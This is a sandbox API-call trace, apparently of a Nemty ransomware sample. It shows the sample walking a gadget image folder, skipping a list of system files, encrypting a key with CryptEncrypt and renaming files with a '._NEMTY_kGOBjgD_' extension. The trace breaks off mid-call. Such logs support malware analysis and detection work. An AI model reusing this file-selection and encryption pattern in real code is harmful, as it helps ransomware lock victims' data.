[0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.208] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.208] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.315] CloseHandle (hObject=0xffffffff) returned 0 [0142.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0142.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0142.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0142.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0142.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0142.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_drop_shadow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_drop_shadow.png._nemty_kgobjgd_")) returned 0 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.315] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b32843, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b32843, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2=".") returned 1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2="..") returned 1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2="...") returned 1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2="windows") returned -1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2="$RECYCLE.BIN") returned 1 [0142.315] lstrcmpiW (lpString1="timer_down.png", lpString2="rsa") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="NTDETECT.COM") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="ntldr") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="MSDOS.SYS") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="IO.SYS") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="boot.ini") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="boot.ini") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="ntuser.dat") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="desktop.ini") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="CONFIG.SYS") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="RECYCLER") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="BOOTSECT.BAK") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="bootmgr") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="programdata") returned 1 [0142.316] lstrcmpiW (lpString1="timer_down.png", lpString2="appdata") returned 1 [0142.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_down.png", lpUsedDefaultChar=0x0) returned 14 [0142.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_down.png", lpUsedDefaultChar=0x0) returned 14 [0142.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_down.png", lpUsedDefaultChar=0x0) returned 14 [0142.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.316] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_down.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_down.png", lpUsedDefaultChar=0x0) returned 14 [0142.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0142.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0142.317] Sleep (dwMilliseconds=0x5) [0142.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x87bc630, dwHighDateTime=0x1d561e8)) [0142.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x87bc630, dwHighDateTime=0x1d561e8)) [0142.332] GetLastError () returned 0x5 [0142.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.332] GetLastError () returned 0x5 [0142.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.332] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0142.332] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0142.333] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0142.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0142.333] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="rGw86ZhLdTPsG+4vbuTyf9/3ILgEzgPGaygafc3MrpjI1lqUjtwtOm+jxaggjl8i\r\nQTPbQVjImlTPQQTVU2ZZQU1TPJ0mLqofR2Ms68PlP+G0OZLi69OvuJEqg7yGiUVX\r\nxu522AfQrtBtwYBpYOcgQ8tQ54tvQOVdOnnLpolQC3qqdb9R9x/+L8Y/Z0kFmEuK\r\nKvuqaiXZCnZ35kVTSR+kf76IJEsZ/0fzG04u6cvm/64Li2mjhX5NNXTanlMk2hs1\r\nIDu/uSVCMQF6lvHEB8MnaFz1buPwUKsU0+0+ajpwqEbZj7zIIgWEIMIElBCiotLC\r\nPItLfDGdorlj1LPcbKmNog==\r\n", pcchString=0x653e91c) returned 1 [0142.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0142.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.333] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.334] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0142.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.362] WriteFile (in: hFile=0xffffffff, 